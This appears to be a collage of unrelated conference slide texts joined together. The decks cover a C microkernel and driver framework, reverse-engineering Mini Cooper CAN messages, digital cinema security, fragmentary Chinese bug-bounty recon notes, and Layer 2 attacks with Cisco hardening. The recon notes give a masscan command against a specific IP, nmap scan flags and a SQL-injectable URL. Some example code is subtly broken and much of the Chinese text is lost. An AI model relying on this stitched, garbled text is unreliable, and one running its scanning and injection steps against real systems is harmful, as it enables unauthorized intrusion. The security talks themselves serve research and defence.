Sharpen(nImg); break; case 2: temp = Blur(nImg); break; } return temp; } concepts(2); ● Function pointers ● Work almost as a normal pointer ● Hold the address of a function start point instead the address of a variable ● The compiler need no known the function signature to pass the correct parameters and the return value. ● Awkard declaration (it is best to use a typedef) concepts(2); //defining the type pointerTest //it is a pointer to function that: // receives no parameter // returns no parameter typedef void (*pointerTest)(void); //Function to be called void nop (void){ __asm NOP __endasm } //creating an pointerTest variable; pointerTest foo; foo = nop; (*foo)(); //calling the function via pointer concepts(2); Re-code the image editor engine using function pointers concepts(2); image Blur(image nImg){} image Sharpen(image nImg){} typedef image (*ptrFunc)(image nImg); //image editor engine image imageEditorEngine(ptrFunc function, image nImg){ image temp; temp = (*function)(nImg); return temp; } concepts(2); ● Good ● New function additions do not alter the engine ● The engine only needs to be tested once ● Can change the function implementations dynamically ● Bad ● More complex code (function pointers are not so easy to work with) ● Not all compilers support function pointers concepts(2); structs(2.2); concepts(2); // struct declaration typedef struct{ unsigned short int age; char name[51]; float weight; }people; ● Structs are composed variables. ● Group lots of information as if they were one single variable. ● A vector that each position stores a different type void main(void){ struct people myself = {26, "Rodrigo", 70.5}; myself.age = 27; //using each variable from the struct printf("Age: %d\n", myself.age); printf("Name: %s\n", myself.name); printf("Weight: %f\n", myself.weight); return 0; } concepts(2); // struct declaration typedef struct{ unsigned short int *age; char *name[51]; float *weight; }people; void main(void){ struct people myself = {26, "Rodrigo", 70.5}; //using each variable from the struct printf("Age: %d\n", myself->age); printf("Name: %s\n", myself->name); printf("Weight: %f\n", myself->weight); return 0; } concepts(2); concepts(2); circular_buffers(2.3); concepts(2); ● Circular Buffers ● “Endless” memory spaces ● Use FIFO aproach ● Store temporary data ● Can implemented using vectors or linked-lists concepts(2); ● Vector implementation ● Uses less space ● Need special caution when cycling ● Problem to differentiate full from empty #define CB_SIZE 10 int circular_buffer[CB_SIZE]; int index=0; for(;;){ //do anything with the buffer circular_buffer[index] = index; //increment the index index = (index+1)%CB_SIZE; } concepts(2); concepts(2); #define CB_SIZE 10 int circular_buffer[CB_SIZE]; int start=0, end=0; char AddBuff(int newData) { //check if there is space to add a number if ( ((end+1)%CB_SIZE) != start) { circular_buffer[end] = newData; end = (end+1)%CB_SIZE; return SUCCESS; } return FAIL; } concepts(2); temporal_conditions(2.4); concepts(2); In the majority part of embedded systems, we need to guarantee that a function will be executed in a certain frequency. Some systems may even fail if these deadlines are not met. concepts(2); ● To implement temporal conditions: 1)There must be a tick event that occurs with a precise frequency 2)The kernel must be informed of the execution frequency needed for each process. 3)The sum of process duration must “fit” within the processor available time. concepts(2); ● 1st condition: ● Needs an internal timer that can generate an interrupt. ● 2nd condition: ● Add the information for each process when creating it ● 3rd condition: ● Test, test and test. ● If fail, change chip first, optimize only on last case concepts(2); ● Scheduling processes: ● Using a finite timer to schedule will result in overflow ● Example: scheduling 2 processes for 10 and 50 seconds ahead. concepts(2); ● And if two process are to be called in the same time? concepts(2); ● Question: ● From the timeline above (only the timeline) is P2 late or it was scheduled to happen 55(s) from now? concepts(2); ● Solution: ● Use a downtime counter for each process instead of setting a trigger time. ● Problem: ● Each counter must be decremented in the interrupt subroutine. ● Is it a problem for your system? concepts(2); void_pointers(2.5); concepts(2); ● Void pointers ● Abstraction that permits to the programmer to pass parameters with different types to the same function. ● The function which is receiving the parameter must know how to deal with it ● It can not be used without proper casting! concepts(2); char *name = "Paulo"; double weight = 87.5; unsigned int children = 3; void main (void){ //its not printf, yet. print(0, &name); print(1, &weight); print(2, &children); } concepts(2); void print(int option; void *parameter){ switch(option){ case 0: printf("%s",(char*)parameter); break; case 1: printf("%f",*((double*)parameter)); break; case 2: printf("%d",*((unsigned int*)parameter)); break; } } void microkernel (float i){ init_kernel(3.0); for(int i=1; i<4; i++;) { kernel_example(3+i/10); } running_the_kernel(3.4); } microkernel(3); init_kernel(3.0); microkernel(3); ● The examples will use a minimum of hardware or platform specific commands. ● Some actions (specifically the timer) needs hardware access. microkernel(3); //first implementation kernel_example(3+1/10); microkernel(3); ● In this first example we will build the main part of our kernel. ● It should have a way to store which functions are needed to be executed and in which order. ● This will be done by a static vector of pointers to function //pointer function declaration typedef void(*ptrFunc)(void); //process pool static ptrFunc pool[4]; microkernel(3); ● Each process is a function with the same signature of ptrFunc void tst1(void){ printf("Process 1\n"); } void tst2(void){ printf("Process 2\n"); } void tst3(void){ printf("Process 3\n"); } microkernel(3); ● The kernel itself consists of three functions: ● One to initialize all the internal variables ● One to add a new process ● One to execute the main kernel loop //kernel internal variables ptrFunc pool[4]; int end; //kernel function's prototypes void kernelInit(void); void kernelAddProc(ptrFunc newFunc); void kernelLoop(void); microkernel(3); //kernel function's implementation void kernelInit(void){ end = 0; } void kernelAddProc(ptrFunc newFunc){ if (end <4){ pool[end] = newFunc; end++; } } microkernel(3); //kernel function's implementation void kernelLoop(void){ int i; for(;;){ //cycle through the processes for(i=0; i<end; i++){ (*pool[i])(); } } } microkernel(3); //main loop void main(void){ kernelInit(); kernelAddProc(tst1); kernelAddProc(tst2); kernelAddProc(tst3); kernelLoop(); } microkernel(3); Simple? microkernel(3); //second implementation //circular buffer and struct added kernel_example(3+2/10); microkernel(3); ● The only struct field is the function pointer. Other fields will be added latter. ● The circular buffer open a new possibility: ● A process now can state if it wants to be rescheduled or if it is a one-time run process ● In order to implement this every process must return a code. ● This code also says if there was any error in the process execution microkernel(3); //return code #define SUCCESS 0 #define FAIL 1 #define REPEAT 2 //function pointer declaration typedef char(*ptrFunc)(void); //process struct typedef struct { ptrFunc function; } process; process pool[POOL_SIZE]; microkernel(3); char kernelInit(void){ start = 0; end = 0; return SUCCESS; } char kernelAddProc(process newProc){ //checking for free space if ( ((end+1)%POOL_SIZE) != start){ pool[end] = newProc; end = (end+1)%POOL_SIZE; return SUCCESS; } return FAIL; } microkernel(3); void kernelLoop(void){ int i=0; for(;;){ //Do we have any process to execute? if (start != end){ printf("Ite. %d, Slot. %d: ", i, start); //check if there is need to reschedule if ((*(pool[start].Func))() == REPEAT){ kernelAddProc(pool[start]); } //prepare to get the next process; start = (start+1)%POOL_SIZE; i++; // only for debug; } } } microkernel(3); //vetor de struct process pool[POOL_SIZE]; // pool[i] // pool[i].func // *(pool[i].func) // (*(pool[i].func))() //vetor de ponteiro de struct process* pool[POOL_SIZE]; // pool[i] // pool[i].func // pool[i]->func // pool[i]->func() microkernel(3); void kernelLoop(void){ int i=0; for(;;){ //Do we have any process to execute? if (start != end){ printf("Ite. %d, Slot. %d: ", i, start); //check if there is need to reschedule if (pool[start]->Func() == REPEAT){ kernelAddProc(pool[start]); } //prepare to get the next process; start = (start+1)%POOL_SIZE; i++; // only for debug; } } } microkernel(3); void tst1(void){ printf("Process 1\n"); return REPEAT; } void tst2(void){ printf("Process 2\n"); return SUCCESS; } void tst3(void){ printf("Process 3\n"); return REPEAT; } ● Presenting the new processes microkernel(3); void main(void){ //declaring the processes process p1 = {tst1}; process p2 = {tst2}; process p3 = {tst3}; kernelInit(); //Test if the process was added successfully if (kernelAddProc(p1) == SUCCESS){ printf("1st process added\n");} if (kernelAddProc(p2) == SUCCESS){ printf("2nd process added\n");} if (kernelAddProc(p3) == SUCCESS){ printf("3rd process added\n");} kernelLoop(); } microkernel(3); Console Output: --------------------------- 1st process added 2nd process added 3rd process added Ite. 0, Slot. 0: Process 1 Ite. 1, Slot. 1: Process 2 Ite. 2, Slot. 2: Process 3 Ite. 3, Slot. 3: Process 1 Ite. 4, Slot. 0: Process 3 Ite. 5, Slot. 1: Process 1 Ite. 6, Slot. 2: Process 3 Ite. 7, Slot. 3: Process 1 Ite. 8, Slot. 0: Process 3 ... --------------------------- ● Notes: ● Only process 1 and 3 are repeating ● The user don't notice that the pool is finite* microkernel(3); //third implementation //time conditions added kernel_example(3+3/10); microkernel(3); ● The first modification is to add one counter to each process //process struct typedef struct { ptrFunc function; int period; int start; } process; microkernel(3); ● We must create an function that will run on each timer interrupt updating the counters void isr(void) interrupt 1{ unsigned char i; i = ini; while(i!=fim){ if((pool[i].start)>(MIN_INT)){ pool[i].start--; } i = (i+1)%SLOT_SIZE; } } microkernel(3); ● The add process function will be the responsible to initialize correctly the fields char AddProc(process newProc){ //checking for free space if ( ((end+1)%SLOT_SIZE) != start){ pool[end] = newProc; //increment start timer with period pool[end].start += newProc.period; end = (end+1)%SLOT_SIZE; return SUCCESS; } return FAIL; } microkernel(3); if (start != end){ //Finding the process with the smallest start j = (start+1)%SLOT_SIZE; next = start; while(j!=end){ if (pool[j].start < pool[next].start){ next = j; } j = (j+1)%SLOT_SIZE; } //exchanging positions in the pool tempProc = pool[next]; pool[next] = pool[start]; pool[start] = tempProc; while(pool[start].start>0){ }//great place to use low power mode if ( (*(pool[ini].function))() == REPEAT ){ AddProc(&(vetProc[ini])); } ini = (ini+1)%SLOT_SIZE; } microkernel(3); running_the_kernel(3.4); “My board's programming” also works =) void dd_controler (float i){ device_driver_pattern(5.1); controller_engine(5.2); isr_abstract_layer(5.3); driver_callback(5.4); } device_driver_controller(4); device_driver_pattern(5.1); device_driver_controller(4); ● What is a driver? ● An interface layer that translate hardware to software ● Device driver standardization ● Fundamental for dynamic drivers load device_driver_controller(4); ● Parameters problem ● The kernel must be able to communicate in the same way with all drivers ● Each function in each driver have different types and quantities of parameters ● Solution ● Pointer to void device_driver_controller(4); ● Driver example Generic Device Driver drvGeneric -thisDriver: driver -this_functions: ptrFuncDrv[ ] -callbackProcess: process* +availableFunctions: enum = {GEN_FUNC_1, GEN_FUNC_2 } -init(parameters:void*): char -genericDrvFunction(parameters:void*): char -genericIsrSetup(parameters:void*): char +getDriver(): driver* driver +drv_id: char +functions: ptrFuncDrv[ ] +drv_init: ptrFuncDrv device_driver_controller(4); controller_engine(5.2); device_driver_controller(4); ● Device Driver Controller ● Used as an interface layer between the kernel and the drivers ● Can “discover” all available drivers (statically or dynamically) ● Store information about all loaded drivers ● Responsible to interpret the messages received from the kernel device_driver_controller(4); char initDriver(char newDriver) { char resp = FAIL; if(dLoaded < QNTD_DRV) { //get driver struct drivers[dLoaded] = drvInitVect[newDriver](); //should test if driver was loaded correcly resp = drivers[dLoaded]->drv_init(&newDriver); dLoaded++; } return resp; } device_driver_controller(4); char callDriver(char drv_id, char func_id, void *param) { char i; for (i = 0; i < dLoaded; i++) { //find the right driver if (drv_id == drivers[i]->drv_id) { return drivers[i]->func[func_id].func_ptr(param); } } return DRV_FUNC_NOT_FOUND; } device_driver_controller(4); void main(void) { //system initialization //kernel also initializate the controller kernelInitialization(); initDriver(DRV_LCD); callDriver(DRV_LCD, LCD_CHAR, 'D'); callDriver(DRV_LCD, LCD_CHAR, 'E'); callDriver(DRV_LCD, LCD_CHAR, 'F'); callDriver(DRV_LCD, LCD_CHAR, 'C'); callDriver(DRV_LCD, LCD_CHAR, '0'); callDriver(DRV_LCD, LCD_CHAR, 'N'); callDriver(DRV_LCD, LCD_CHAR, '@'); callDriver(DRV_LCD, LCD_CHAR, 'L'); callDriver(DRV_LCD, LCD_CHAR, 'A'); callDriver(DRV_LCD, LCD_CHAR, 'S'); } device_driver_controller(4); Where are the defines? device_driver_controller(4); ● In order to simplify the design, each driver build its function define enum. ● The controller builds a driver define enum enum { LCD_COMMAND, LCD_CHAR, LCD_INTEGER, LCD_END }; enum { DRV_INTERRUPT, DRV_TIMER, DRV_LCD, DRV_END }; device_driver_controller(4); isr_abstract_layer(5.3); device_driver_controller(4); ● Interrupts are closely related to hardware ● Each architecture AND compiler pose a different programming approach ● How to hide this from programmer? //SDCC compiler way void isr(void) interrupt 1{ thisInterrupt(); } //C18 compiler way void isr (void){ thisInterrupt(); } #pragma code highvector=0x08 void highvector(void){ _asm goto isr _endasm } #pragma code device_driver_controller(4); //Inside drvInterrupt.c //defining the pointer to use in ISR callback typedef void (*intFunc)(void); //store the pointer to ISR here static intFunc thisInterrupt; //Set interrupt function to be called char setInterruptFunc(void *parameters) { thisInterrupt = (intFunc) parameters; return SUCESS; } device_driver_controller(4); //Interrupt function set without knowing hard/compiler issues void timerISR(void) { callDriver(DRV_TIMER, TMR_RESET, 1000); kernelClock(); } void main (void){ kernelInit(); initDriver(DRV_TIMER); initDriver(DRV_INTERRUPT); callDriver(DRV_TIMER, TMR_START, 0); callDriver(DRV_TIMER, TMR_INT_EN, 0); callDriver(DRV_INTERRUPT, INT_TIMER_SET, (void*)timerISR); callDriver(DRV_INTERRUPT, INT_ENABLE, 0); kernelLoop(); } device_driver_controller(4); driver_callback(5.4); device_driver_controller(4); How to make efficient use of CPU peripherals without using pooling or hard-coding the interrupts? device_driver_controller(4); Callback functions device_driver_controller(4); ● Callback functions resemble events in high level programming ● e.g.: When the mouse clicks in the button X, please call function Y. ● The desired hardware must be able to rise an interrupt ● Part of the work is done under interrupt context, preferable the faster part Generic Driver Interrupt Driver Setup ISR callback Interrupt Driver Generic Driver Call ISR callback Kernel Add callback Process Kernel Main Process Execute process Generic Driver Request data (callback passed) Kernel Callback Process Execute process Main Program flow Interrupt context device_driver_controller(4); device_driver_controller(4); //********** Excerpt from drvAdc.c ********** // called from setup time to enable ADC interrupt // and setup ADC ISR callback char enableAdcInterrup(void* parameters){ callDriver(DRV_INTERRUPT,INT_ADC_SET,(void*)adcISR); BitClr(PIR1,6); return FIM_OK; } //********** Excerpt from drvInterrupt.c ********** // store the pointer to the interrupt function typedef void (*intFunc)(void); static intFunc adcInterrupt; // function to set ADC ISR callback for latter use char setAdcInt(void *parameters) { adcInterrupt = (intFunc)parameters; return FIM_OK; } device_driver_controller(4); //********** Excerpt from main.c ********** // Process called by the kernel char adc_func(void) { //creating callback process static process proc_adc_callback = {adc_callback, 0, 0}; callDriver(DRV_ADC,ADC_START,&proc_adc_callback); return REPEAT; } //********** Excerpt from drvAdc.c ********** //function called by the process adc_func (via drv controller) char startConversion(void* parameters){ callBack = parameters; ADCON0 |= 0b00000010; //start conversion return SUCCESS; } device_driver_controller(4); //********** Excerpt from drvInterrupt.c ********** //interrupt function void isr(void) interrupt 1 { if (BitTst(INTCON, 2)) { //Timer overflow } if (BitTst(PIR1, 6)) { //ADC conversion finished //calling ISR callback stored adcInterrupt(); } } //********** Excerpt from drvAdc.c ********** //ADC ISR callback function void adcISR(void){ value = ADRESH; value <<= 8; value += ADRESL; BitClr(PIR1,6); kernelAddProc(callBack); } device_driver_controller(4); //********** Excerpt from main.c ********** //callback function started from the kernel char adc_callback(void) { unsigned int resp; //getting the converted value callDriver(DRV_ADC,ADC_LAST_VALUE,&resp); //changing line and printing on LCD callDriver(DRV_LCD,LCD_LINE,1); callDriver(DRV_LCD,LCD_INTEGER,resp); return SUCCESS; } My board's programming! “Don't Reinvent The Wheel, Unless You Plan on Learning More About Wheels” Jeff Atwood
pdf
Computer Science / www.isec.utulsa.edu How to Hack Your Mini Cooper: Reverse Engineering CAN Messages on Passenger Automobiles Jason Staggs Computer Science / www.isec.utulsa.edu Who is this guy? • Jason Staggs – Graduate Research Assistant • Institute for Information Security (iSec) • Crash Reconstruction Research Consortium (TU-CRRC) – TRUE Digital Security • Cyber Security Analyst Computer Science / www.isec.utulsa.edu Why do we hack cars? • Related work – “Experimental Security Analysis of a Modern Automobile” – “Comprehensive Experimental Analyses of Automotive Attack Surfaces” • Understanding computer and network systems on cars – Underlying CAN protocol and components lack of authentication and verification of messages • Understanding potential points of vulnerability – Vehicle network security is in its infancy • But most importantly… Computer Science / www.isec.utulsa.edu To prevent this… Computer Science / www.isec.utulsa.edu From turning into this… Computer Science / www.isec.utulsa.edu Because of this... Computer Science / www.isec.utulsa.edu CAN Clock Project • Research project developed as a proof of concept – Manipulating CAN nodes via CAN network – Reverse engineering CAN messages – 2003 Mini Cooper Computer Science / www.isec.utulsa.edu Vehicle communication networks • Common vehicle protocols – CAN (Most widely used among manufactures) – FlexRay – LIN – MOST – J1850 (GM/Chrysler) – J1939 (Heavy Trucks) – J1708/J1587 (Being phased out due to J1939) • 2008: All US cars use CAN for mandated EPA diag. Computer Science / www.isec.utulsa.edu Interconnected vehicle networks Computer Science / www.isec.utulsa.edu Controller Area Networks • Bosch CAN standard – Developed in the 80s – European automotive manufactures were early adopters – Multi-master broadcast message system – Standard Format • 11-bit message ID • 2^11 or 2048 possible message IDs • MFG. use of proprietary IDs for their ECUs – Extended Format • 29-bit message ID • 2^29 or 537 million message IDs • Used extensively by J1939 Computer Science / www.isec.utulsa.edu CAN Frame – SOF – Start of Frame – Identifier – Unique identifier for message along with priority – RTR – Remote Transmission Request – IDE – Identifier extension (distinguishes between CAN standard and CAN extended) – DLC – Data Length Code (frames have up to 8 bytes of data) – CRC – Cyclic Redundant Check sum – ACK – Acknowledge – EOF – End of Frame – IFS – Intermission Frame Space Computer Science / www.isec.utulsa.edu Electronic Control Units (ECUs) • ECUs designed to control: – Vehicle safety systems • Engine control unit • ABS braking system • Door locks – Non safety critical systems • Radio deck • HVAC system – The list goes on… • Programmable ECUs – Allows MFGs to update firmware on ECUs • Average modern day car has ~70 ECUs Computer Science / www.isec.utulsa.edu Reverse Engineering CAN Messages • What we want to do: – Manipulate CAN enabled vehicle components (Instrument Cluster) • Problem: – Manufactures do not publish CAN message information about specific CAN components (ECUs) • Message IDs • Payload information (Byte offsets) • Solution: – A method for visually correlating physical system interactions with identifiable patterns. (Humans are good at this) – Fuzzing (DANGER WILL ROBINSON!!!) Computer Science / www.isec.utulsa.edu Reverse Engineering CAN Messages • Passively captured CAN traffic during a staged test run – In this case it was a staged automotive collision..  – Mini Cooper vs. GMC Envoy (Check out TU-CRRC website for killer crash videos) – Data capture lasted for roughly 90 seconds • Data Log gives us ~106,000 data entries of CAN messages Computer Science / www.isec.utulsa.edu Computer Science / www.isec.utulsa.edu CAN Data Log • Contained ~106,000 data entries • Bash “cut –d. –f3 cooperheadion.txt | sort | uniq –c” – Only 15 Unique CAN IDs!? Message Frequency CAN IDs 12706 153 12706 1F0 12706 1F3 9460 1F5 12707 1F8 8899 316 8899 329 Computer Science / www.isec.utulsa.edu Visually Identifying CAN Messages of Interest Message ID 0x153 Vehicle Speed Computer Science / www.isec.utulsa.edu ` 0 5 10 15 20 25 30 0 10 20 30 40 50 60 70 80 90 100 Vehicle Speed (MPH) Time (sec) 0x153 Byte 2 CAN Message Computer Science / www.isec.utulsa.edu Reverse Engineering CAN Messages • Speedometer and Tachometer Message IDs – 2 methods • For each message ID, plot data values vs. timestamp in order to determine physical significance. • Given possible CAN IDs, fuzz data fields until needles start moving CAN Message ID Description 0x153 Byte 2 Speedometer (Vehicle Speed) 0x316 Byte 3 Tachometer (Engine Speed) 0x329 Various indicator lights 0x61A Controls the messages being displayed on the tachometer LED screen 0x61F Tachometer along with various indicator lights Computer Science / www.isec.utulsa.edu Building the CAN Clock and Network • CAN Bus – 18 gauge wire – 2 x 120 ohms terminating resistors – 12V DC power source – Arduino Uno microcontroller – CAN Bus Shield • MCP2515 CAN controller • MCP2551 CAN transceiver – Mini Cooper Instrument Cluster – Real time clock module RTC (for clock mode) Computer Science / www.isec.utulsa.edu Computer Science / www.isec.utulsa.edu Computer Science / www.isec.utulsa.edu CAN Clock Proof of Concept • Talking CAN with Arduino – Arduino and CAN Controller Libraries • MCP2515 (Communication with CAN transceiver) • SPI (Used for communications between Arduino and CAN shield) • 2 Modes of operation – Clock Mode – Demo Mode Computer Science / www.isec.utulsa.edu Demo Computer Science / www.isec.utulsa.edu Gaining Physical Access to CAN Bus • Via OBD2 • Tapping the CAN bus (vampire tap) – Under the hood – Breaking a powered side view mirror – Etc. • 0 to pwned for less then $100 – Rogue Arduino CAN node • Potential conspirators – Mechanics – Car Rentals – Coworkers/Family/Friends/Valets/Ex-girlfriends/etc. Computer Science / www.isec.utulsa.edu Conclusion / Future Work • Better access control between vehicle network components – ECU to ECU – OBD2 to ECU • Applying conventional NIPS & firewall methods to CAN – Message anomaly prevention depending on context? Computer Science / www.isec.utulsa.edu For more Information • TU Research – http://isec.utulsa.edu/ – http://tucrrc.utulsa.edu/ ← Check out our research and crash tests  – http://tucrrc.utulsa.edu/canclock/ • CAN Standards/Docs – http://esd.cs.ucr.edu/webres/can20.pdf (CAN 2.0 Spec) – http://www.sae.org/standards/ Computer Science / www.isec.utulsa.edu Questions?? • jason-staggs@utulsa.edu
pdf
The Big Picture:  Digital Cinema Technology and Security Mike Renlund Digital Cinema Specialist Film: How its always been done • 35mm film is the standard, more than a mile  of it for one movie. • IMAX film is 10 times larger than 35mm. • The image hasn’t been upgraded much in the  more than a century that movies have been  playing. • The only real upgrade was from Black and  White, to Color. Film Sound and Image DTS Timecode Analog Dolby SRD Sony SDDS Distribution/Security of Film Prints • 70 lbs (32 kg) cans  with the film inside. • Security measures  include: • Codenames for  content • Separate shipments • Physical locks on the  cans DLP technology • First designed in 1987 By Dr. Larry Hornbeck  at Texas Instruments. • It took a long time to make a splash in the  Movie market.   • The first major release in digital cinema was in  2005. The DLP Chip So how tiny are these mirrors? Even closer! Creating an image (greyscale) DMD Chip Lens Screen And finally, what it really looks like Red DMD Green DMD Blue DMD Lens Light Pipe Prism A couple different DLP projectors Sony SXRD • Silicon X‐tal Reflective Display Resolution Digital Cinema Distribution • Multiple methods of delivery • Hard Drive • Network Transfer • Satellite • Interesting facts about content Security in Digital Cinema Step 1: 1. Content is served out from a storage  point, to the Media Block 2. The content is encrypted.  Content Storage Raid Array Media Block(Decoder) Internal to the same box, or two separate devices • The Show Player decodes the video/audio with the KDM, the audio is  passed to the audio processor. • The video is re‐encrypted with Cinelink II, and sent to the projector. Media Block(Decoder) Up to 16  channels of  uncompressed  audio Audio  Processor Projector Dual Link HDSDI Running Cinelink II Ethernet Cryptography Section Projector Media Block(Decoder) • Sha1 256 key • Secure connection to  the Media Block • No open access panels • Sha1 256 key • Correct Date Range • Correct content • No tampering  detected Any of these fail, and you cannot play the movie KDM or Key Delivery Message • <ds:X509IssuerName>dnQualifier=\+62TOmh@eqB0D1966oR2gdu7SdM=, CN=Root.CA.DC.Cinea.Com,OU=CA.DC.Cinea.Com,O=DC.Cinea.Com</ds:X 509IssuerName>  • <ds:X509SerialNumber>1799</ds:X509SerialNumber>  • </X509IssuerSerial> • <X509SubjectName>dnQualifier=TRxe7YERGorsOIg1M/WegWToIvrs=,CN =SM.Dolby‐DSP100‐ 00000000,O=DC.Cinea.Com,OU=DolbyShowPlayer</X509SubjectName>  • </Recipient> • <CompositionPlaylistId>urn:uuid:d12ky0XqY‐f997‐c039‐aece‐ 4a0af0b982d3</CompositionPlaylistId>  • <ContentTitleText>DEFCON_FTR_S_EN‐XX_US‐ NC_51_2K_DI_20080808_Mike</ContentTitleText>  • <ContentKeysNotValidBefore>2008‐08‐08T06:01:00‐ 00:00</ContentKeysNotValidBefore>  • <ContentKeysNotValidAfter>2008‐08‐10T09:59:00‐ 00:00</ContentKeysNotValidAfter>  When a security breach is detected A couple other security methods in  Digital Cinema Searching for Pirates… Forensic Marking DCDM Forensic Marking POM Security Wrap up • How tough is Digital Cinema Security Overall? • Are there any weaknesses? 3D Technology • Have you seen a film in 3D before? • What did you think? Anaglyph Technology Two problems with 3D films How digital cinema fixes the problem Digital Cinema 3D technologies • There are a couple of major companies that  produce 3D equipment. • They use different methods to make the 3D  effect. The main methods are: • 1. Circular Polarization • 2. Wavelength Multiplex Method 1: Basic Circular Polarization Projector Projector L R SCREEN Method 1: Circular Polarization Projector SCREEN Z Screen Polarizes Left And Polarizes Right Method 1: Circular Polarization Circular Polarization continued… • Real D was the first major 3D format in digital  cinema. • These glasses are disposable, due to the low cost in  making plastic circular polarized lenses. Method 2: Wavelength Multiplex  • Dolby 3D is new on the block • Uses Wavelength Multiplex  Technology. Licensed from  INFITEC. • These glasses are reusable. Method 2: Wavelength Multiplex SCREEN Dolby 3D Filter Light Engine (DLP) Lamp Which is better? • This is my opinion on it: Real D Dolby 3D So, what’s coming in 3D • Tim Burton’s ALICE IN WONDERLAND • SHREK GOES FOURTH • James Cameron’s AVATAR • Michael Bay’s TRANSFORMERS 2 • And of course, STAR WARS 3D Wrap‐up • Where are the best 3D presentations found? • Do your research. This can be a bit difficult, as  many theatres don’t have a clue which 3D  system they use, but can save you a  headache, and enhance your viewing  experience. Alternative Content • Metropolitan Opera…yup, you know you love  opera. • Sports Events‐Dallas Mavericks games have been  aired at local movie theatres in 3D. • Concerts: U23D and others • Oh, and if you are in any way interested,  Some  places let you: Play HALO 3 on the big screen! Q & A Resources: • Some images and design elements by:  • Craig T. Morris (f1lt3r3d0ut@gmail.com) • Taylor & Brett for FTP and PDF resources • Slides 7 and 8: TI/dlp.com • Slide 12: Sony SXRD • Slide 26: Library of Congress; Jaws 3D Poster (Universal Pictures) Thanks for Coming! Q & A continues across  the hall in room 104 (Q&A 3) Email: defcon@mikerenlund.com Resources Continued: • Texas Instruments: www.dlp.com • NEC Projectors: www.necam.com/dc • Barco Projectors:  http://www.barco.com/corporate/en/products/category.asp?catid=11 • Sony Projectors: http://pro.sony.com/bbsccms/ext/SXRD/index.shtml • Infitec: http://www.infitec.net/infi_e.html • Dolby Labs: www.dolby.com • Real D: www.reald.com • Special thanks to Dr. Pepper (for keeping me awake): www.drpepper.com
pdf
SRC 1. IP 2. 1.SSL 2. 3.Github 4.DNS 5. SSL 12 SRC SSL 1.censys.io 2.crt.sh 1.riskiq 2.shodan 3.findsubdomains [] [] 4.censys.io 5.dnsdb.io DNS SSLGithub crt.shnss.a.com Github ​ ​ GET ​ json ​ fastjson ​ ​ Github github IP IPASIP IP : http://IPwhois.cnnic.net.cn/ 123.58.191.1 [IP] ​ IP ​ Netease-Network ​ IPNetease-Network ​ neteaseIPIP IP IP? IP [] IPpythonmasscan +nmap <<>> ​ masscanIP waf ​ IPwafIPIP masscanIP subprocessmasscan IP wafbreak 59.111.14.159 IP sudo masscan 59.111.14.159 -p1-65535 --rate 2000 IPpython ​ masscan-oX -oJ masscan masscan masscannmapnmap -sV -sT -Pn --version-all --open -sV -sT -sS-sT -sTroot -sSroot -Pnnmapping masscan nmap --open open --version-all [] 1., 2.rapid7fdnsrndsjson https://opendata.rapid7.com/sonar.rdns_v2/ https://opendata.rapid7.com/sonar.fdns_v2/ 1. 2. 3. 4.(js) 20161000web (js) [] ​ postgetjs apijs 2016Uberapi @cy hackerone1UberSQL apijsjs1api sqlUber api api2jsapijs 8apiapi ​ [] openidapi ​ 3000$ ​ Uber 403404 IP 106.**.**.147 403 ​ http://106.**.**.147/adver/landing.php ​ URL http://106.**.**.147/adver/landing.php?mac=1 SQL ​ SRC ? dict_count dict_count1order by dict_count desc SRC 1. 2. APPiosAndroidAPP APPSSLAPP APP iosiPhoneSSL Pining Disable SSL Pining http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html https://github.com/WooyunDota/DroidSSLUnpinning [] [] [APP]
pdf
> Nicolas FISCHBACH IP Engineering Manager - COLT Telecom nico@securite.org - http://www.securite.org/nico/ > Sébastien LACOSTE-SERIS IP R&D Manager, Security Officer - COLT Telecom kaneda@securite.org - http://www.securite.org/kaneda/ version 1.0 Layer 2, routing protocols, router security & forensics © 2002 Sécurité.Org 2 Agenda » Layer 2 protocols and attacks > ARP > STP, CDP, DTP, etc. > VLANs > HSRP/VRRP » Router Security > Configuration hardening > Integrity checking > Forensics © 2002 Sécurité.Org 3 Protocol attacks » Well known (not to say old) attacks > ARP cache/CAM table poisoning, gratuitous ARP messages and ARP/{DHCP,BOOTP} spoofing > Tools : dsniff, hunt, ARP0c, taranis, etc. » New (not so old) attacks > HSRP/VRRP spoofing > STP/VTP/DTP attacks > VLAN jumping/hoping » Future (to come) attacks ? > Advanced routing protocols attacks (eg. IRPAS) > Rootkits and Loadable Kernel Modules © 2002 Sécurité.Org 4 Layer 2 protocols » Layer 2 protocols and traffic > ARP - Address Resolution Protocol > CDP - Cisco Discovery Protocol > VLAN - Virtual LAN > STP - Spanning Tree > {D/V}TP- Dynamic, VLAN Trunking Protocol > Unicast, Broadcast and Multicast addressing and traffic © 2002 Sécurité.Org 5 » STP (Spanning Tree Protocol) > STP prevents loops in the Ethernet network topology > Redundant data path forced into standby (blocked) state > STP enabled on all ports by default > No traffic forwarding during STP processing Protocols : STP (1) Boot-up initialisation Blocking state Listening state Disabled state Forwarding state Learning state © 2002 Sécurité.Org 6 » STP (Spanning Tree Protocol) > 1. Root Switch Election > 2. STP processing blocks redundant path Protocols : STP (2) Blocked Root Switch © 2002 Sécurité.Org 7 Protocols : STP (3) » Network Traffic Interception > Must have physical connection to 2 switches > Transparent traffic interception Root Switch Blocked Blocked © 2002 Sécurité.Org 8 Protocols : STP (4) » Other STP attacks > CAM table poisoning > DoS - Force infinite election - Ephemere Root » Very hard to track down network topology © 2002 Sécurité.Org 9 Protocols : STP (5) » Security measures > Monitor which equipment is the root bridge > Filter MAC addresses (and add static IP-to-MAC mappings) > Activate BPDU-guard (Bridge PDU) to filter STP > Limit broadcast traffic ! MLS (Multi Layer Switch) in hybrid mode (Sup w/ CatOS, MSFC w/ IOS) set spantree disable set spantree portfast bpdu-guard-enable ! MLS in native mode (CatIOS on the Sup and MSFC) spanning-tree portfast bpduguard set port security <mod/port> enable 01-02-03-04-05-06 shutdown set port broadcast <mod/port> 0.01% © 2002 Sécurité.Org 10 Protocols : CDP (1) » CDP (Cisco Discovery Protocol) > Cisco proprietary > Works on any HDLC capable link/device > Multicast traffic > Information leaked to other peers : device id/name, network address, port id, capabilities, software version, platform and IP network prefix » Message format © 2002 Sécurité.Org 11 Protocols : CDP (2) © 2002 Sécurité.Org 12 no cdp run interface xy no cdp enable set cdp disable <mod/port> Protocols : CDP (3) » Open to DoS attacks > Discovered by FX (see the Cisco Security Notice) » Security measures (router) > Global deactivation > Per interface deactivation » Security measures (switch) > Global/per interface deactivation © 2002 Sécurité.Org 13 VLANs : Layer 